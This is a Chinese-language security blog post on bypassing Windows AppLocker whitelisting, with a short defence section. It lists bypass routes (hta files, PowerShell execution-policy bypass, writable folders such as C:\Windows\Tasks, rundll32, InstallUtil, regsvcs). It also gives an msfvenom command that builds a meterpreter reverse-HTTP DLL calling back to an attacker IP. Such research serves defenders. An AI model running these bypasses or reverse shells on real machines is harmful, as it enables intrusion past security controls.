三好学生 · 2016/01/18 10:31

0x00 前言


上一次我们对McAfee Application Control做了测试,这次接着对另一款白名单工具Windows AppLocker进行测试,分享一下其中的攻防技术。

0x01 简介


Windows AppLocker,即“应用程序控制策略”,可用来对可执行程序、安装程序和脚本进行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微软在2012年10月18日将其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

如图

AppLocker可对以下文件格式创建规则,限制其执行

下面我们就实际测试一下相关功能

0x02 配置


测试环境:

#!bash
OS:Windows7 Ultimate x86
复制代码

1、开启服务

进入计算机管理-服务-Application Identity,将服务设置为开启

如图

2、进入AppLocker配置界面

输入secpol.msc进入本地安全策略-应用程序控制策略-AppLocker

或者gpedit.msc-计算机配置-Windows设置-安全设置-应用程序控制策略-AppLocker

如图

3、配置规则

对可执行文件设置默认规则:

  • 允许本地管理员组的成员运行所有应用程序。
  • 允许 Everyone 组的成员运行位于 Windows 文件夹中的应用程序。
  • 允许 Everyone 组的成员运行位于 Program Files 文件夹中的应用程序。

如图

对脚本设置默认规则:

  • 允许本地管理员组的成员运行所有脚本。
  • 允许 Everyone 组的成员运行位于 Program Files 文件夹中的脚本。
  • 允许 Everyone 组的成员运行位于 Windows 文件夹中的脚本。

如图

开启默认规则后,除了默认路径可以执行外,其他路径均无法执行程序和脚本

0x03 测试


1、执行exe

2、执行脚本

0x04 安全机制分析


通过测试发现设置的规则已经生效,能够阻止信任路径外的exe和脚本执行,但是对以下方面没有做限制:

  1. 内存
  2. Office 宏
  3. HTML Applications,即hta文件
  4. powershell

而我们已经掌握的绕过技术有:

  1. 利用hta文件
  2. 利用jscript
  3. 利用powershell
  4. 利用InstallUtil
  5. 利用regsvcs

再加上新学来的技巧,我们最终发现了如下可供利用的方法:)

0x05 绕过方法


1、hta

成功

(可参照drops.wooyun.org/tips/10667)

可用来执行vbs和JavaScript脚本

2、提权

提权到管理员权限,即可执行突破AppLocker的限制,执行exe和脚本

3、powershell

(1)可以执行ps脚本

#!bash
PowerShell.exe -ExecutionPolicy Bypass -File
复制代码

(2)可以通过如下方式执行ps脚本

#!bash
Get-Content script.txt | iex
复制代码

(3)可以利用快捷方式执行Powershell

成功

(可参照drops.wooyun.org/tips/10667)

4、进程注入

既然可以执行powershell脚本,那么就可以反弹出meterpreter

然后尝试进程注入

(可参照drops.wooyun.org/tips/11305)

如果注入到普通权限进程,无法执行exe和脚本

如果是system权限进程,可以执行exe和脚本

5、查找可利用的文件路径

通过ps脚本扫描可写入的路径

下载地址:go.mssec.se/AppLockerBC

(如果无法下载,我已将该脚本上传至Github)

测试如图

执行后会自动扫描出可利用的路径

比如选择路径:c:\Windows\Tasks

正常执行calc.js会被拦截

但是copy calc.js c:\Windows\Tasks

再执行c:\Windows\Tasks\calc.js,可以绕过拦截

如图

6、rundll32

(1)执行JavaScript

a、直接弹回一个Http shell

(可参照drops.wooyun.org/tips/11764)

但无法绕过对执行exe和脚本的拦截

b、利用JavaScript执行powershell命令返回HTTP shell

(2)加载第三方dll

a、自己编写的dll

参考资料:
blog.didierstevens.com/2010/02/04/…

按照dll的格式,自己编写并生成dll上传

执行

#!bash
rundll32.exe cmd.dll,Control_RunDLL
复制代码

弹出一个cmd

如图

b、反弹meterpreter

kali下:

#!bash
msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll
复制代码

生成a.dll,然后上传至测试主机

执行

#!bash
rundll32.exe a.dll,Control_RunDLL
复制代码

即可上线

如图

7、利用InstallUtil

利用InstallUtil.exe直接执行shellcode 成功

如果有Microsoft .NET Framework 4.0环境,可用来执行exe

(可参照drops.wooyun.org/tips/8701,drops.wooyun.org/tips/8862)

8、利用regsvcs

成功

(可参照drops.wooyun.org/tips/10667)

0x06 防御


  1. 严格控制文件写入权限
  2. 禁用mshta.exe阻止hta的运行
  3. 禁用powershell
  4. 防止被提权

0x07 小结


随着研究的逐渐深入,我们不难发现:利用InstallUtil、regsvcs是绕过白名单限制的一把利器,无论是攻击还是防御,对此部分都要尤其重视。

而利用rundll32.exe的技巧,正在慢慢被发掘。

0x08 参考资料:


  • technet.microsoft.com/en-us/libra…
  • technet.microsoft.com/en-us/libra…
  • dfir-blog.com/2016/01/03/…
  • mssec.wordpress.com/2015/10/22/…
  • www.attackdebris.com/?p=143
  • blog.didierstevens.com/2010/02/04/…

相关文件下载地址:

github.com/3gstudent/B…

本文由三好学生原创并首发于乌云drops,转载请注明

Bypass Windows AppLocker相关推荐

  1. 关于win7禁止标准用户安装软件 AppLocker使用

    应该每个人都深有体会,很多大叔大妈级的用户,都经不起各种软件或网页弹窗的诱导,他们很容易在自己不知道的情况下,安装了N个浏览器,N个播放器,N个安全卫士,N个下载软件等等,导致电脑卡.慢.死.我弟弟学 ...

  2. Convert Windows 32bit dirver to Windows 64bit

    Pre-condition: 1.source code(vc6.0+WDK based) Development environment: 2.VS2013 3.WDK 8/8.1 Steps: 1 ...

  3. HTB靶场系列 Windows靶机 Arctic靶机

    这台靶机设定的30秒响应速度真的让人绝望.正儿八经的每做一个动作就可以玩半天手机 勘探 nmap nmap -sS -p 1-65535 10.10.10.11 Starting Nmap 7.91 ...

  4. 艰难的mimikatz源码编译免杀 Windows Defender

    微信公众号:乌鸦安全 扫取二维码获取更多信息! 说明 本文周一的时候,工具就已经上传GitHub了,所以工具应该是已经失效了!!!仅供参考! 本文mimikatz源码编译未能免杀Windows Def ...

  5. 使用rundll32.exe绕过应用程序白名单(多种方法)

    0x00 前言 本文演示了白名单AppLocker bypass的最常见和最熟悉的技术.我们知道,出于安全原因,系统管理员添加组策略来限制本地用户的应用程序执行.在上一篇文章中,我们讨论了" ...

  6. Linux中msiexec无法运行,使用msiexec.exe绕过应用程序白名单(多种方法)

    0x01 Applocker适用的关联文件格式 Windows AppLocker是在Windows 7和Windows Server 2008 R2中引入的一种安全策略,用于限制不需要的程序的使用. ...

  7. win7驱动程序未经签名可以使用吗_windows-7 – Windows7引导选项,允许忽略未签名的驱动程序...

    Download the application from the link below. Right click on it and choose "Run as administrato ...

  8. wannacry 勒索病毒_WannaCry:勒索软件尸检

    wannacry 勒索病毒 In a twist of irony, the global spread of WannaCry, the malware that recently attacked ...

  9. Window Internal 读书笔记

    Chapter 1 Virtual Memory.  The size of the virtual address space varies for each hardware platform . ...

  10. 《Metasploit渗透测试魔鬼训练营》学习笔记

    Metasploit渗透测试魔鬼训练营学习笔记 法律常识 <中华人民共和国网络安全法>已由中华人民共和国第十二届全国人民代表大会常务委员会第二十四次会议于2016年11月7日通过,现予公布 ...

最新文章

  1. 常用jQuery ajax代码片段
  2. boost源码剖析之:泛型编程精灵type_traits(rev#2)
  3. 流量暴涨擒凶记(转)
  4. Start here: portal to the lectures
  5. oracle 获取一周七天,Oracle中求出本礼拜第一天和第七天的日期
  6. 剑指offer(21)栈的压入、弹出序列
  7. Pandas系列(一)数据读取、数据结构Dataframe和Series
  8. .net知识和学习方法系列(二十三)嵌套类
  9. 如何手动查杀病毒【熊猫烧香】
  10. 关于DNF的多媒体包NPK文件的那些事儿(9) - IMGV6
  11. RoboWare Studio使用的部分问题
  12. luogu4093 序列 (cdq分治优化dp)
  13. intel服务器芯片组C,Intel C232芯片组 华硕P10S-C售2399元
  14. unbalanced calls to begin/end appearance transitions for uiviewcontroller的解决方法
  15. kaggle员工离职预测案例(3)
  16. 【Spark】Graphx用例(Java)
  17. win进程崩溃弹出Microsoft Visual C++ Runtime Library的解决办法
  18. buntu18.04无线网卡无法识别问题
  19. Grafana 显示某一时间点的总值
  20. HDOJ 4950 Monster

热门文章

  1. android追美剧app,追美剧必备神器!安卓追剧助手App体验
  2. 2017年6月英语 CET 四六级考试查询准考证方法
  3. 工作小记 编译 ffmpeg gpu 版本
  4. 台式计算机没有声音怎么办,台式机没有声音怎么办_台式机声音修复方法-太平洋IT百科...
  5. node.js —— express中的next( )
  6. 负载均衡(Load Balance)介绍
  7. application/octet-stream是什么意思
  8. 5.图像,音视频标签
  9. input maxlength 属性不起作用
  10. 请选择正确html,请选择可以使单元格中的内容进行左对齐的正确HTML标记(      )。...